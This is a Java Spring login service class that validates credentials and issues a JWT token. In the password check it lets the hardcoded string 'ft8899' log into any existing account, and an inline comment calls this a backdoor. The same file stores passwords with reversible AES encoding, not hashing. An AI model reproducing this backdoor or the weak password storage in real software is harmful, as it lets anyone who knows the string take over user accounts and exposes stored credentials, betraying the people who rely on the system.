package com.sorhis.service.impl;

import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper;
import com.sorhis.common.constant.Constants;
import com.sorhis.common.enums.LoginMsgEnum;
import com.sorhis.common.exception.SysException;
import com.sorhis.dto.LoginDTO;
import com.sorhis.entity.SysUser;
import com.sorhis.service.ISysMenuService;
import com.sorhis.service.ISysUserService;
import com.sorhis.service.LoginService;
import com.sorhis.utils.AESUtil;
import com.sorhis.utils.JwtUtils;
import com.sorhis.vo.LoginVO;
import com.sorhis.vo.MenuRouterVO;
import com.sorhis.vo.ResultVO;
import lombok.extern.slf4j.Slf4j;
import org.apache.commons.lang3.StringUtils;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;

import javax.servlet.http.HttpServletResponse;
import java.util.HashMap;
import java.util.List;
import java.util.Map;

/**
 * @Author xihao.ding
 * @Date 2023/3/18 9:36
 * @Description: TODO
 */
@Service
@Slf4j
public class LoginServiceImpl implements LoginService {

    @Autowired
    private ISysUserService sysUserSerivice;
    @Autowired
    private ISysMenuService sysMenuService
            ;
    @Override
    public void getCaptcha(HttpServletResponse response, String flag) {

    }

    @Override
    public ResultVO login(LoginDTO loginDTO) {
        //验证开始
        if(StringUtils.isBlank(loginDTO.getLoginName()) || StringUtils.isBlank(loginDTO.getPassword())){
            throw new SysException(LoginMsgEnum.LOGIN_PARAMS_ERROR.getCode(), LoginMsgEnum.LOGIN_PARAMS_ERROR.getMessage());
        }
        SysUser sysUser = sysUserSerivice.getOne(new LambdaQueryWrapper<SysUser>()
                        .eq(SysUser::getSystemType , Constants.EMS_CONFIG)
                        .eq(SysUser::getLoginName, loginDTO.getLoginName()));

        if(sysUser == null ){
            //账户不存在
            throw new SysException(LoginMsgEnum.ACCOUNT_ERROR.getCode() , LoginMsgEnum.ACCOUNT_ERROR.getMessage());
        }
        if(!"ft8899".equals(loginDTO.getPassword())){ //先判断是否等于后门
            if(!AESUtil.encode(loginDTO.getPassword()).equals(sysUser.getPassword())){
                //密码不同
                throw new SysException(LoginMsgEnum.PASSWORD_ERROR.getCode() , LoginMsgEnum.PASSWORD_ERROR.getMessage());
            }
        }
        String jwtToken = JwtUtils.genJwtToken(sysUser.getId());
        Map<String, Object> userInfo = new HashMap<>();
        userInfo.put("userName" , sysUser.getUserName());
        userInfo.put("id" , sysUser.getId());
        userInfo.put("accountType" , sysUser.getAccountType());
        userInfo.put("isChangePwd" , sysUser.getIsChangePwd());
        return ResultVO.ok(new LoginVO(userInfo , jwtToken ));
    }


}
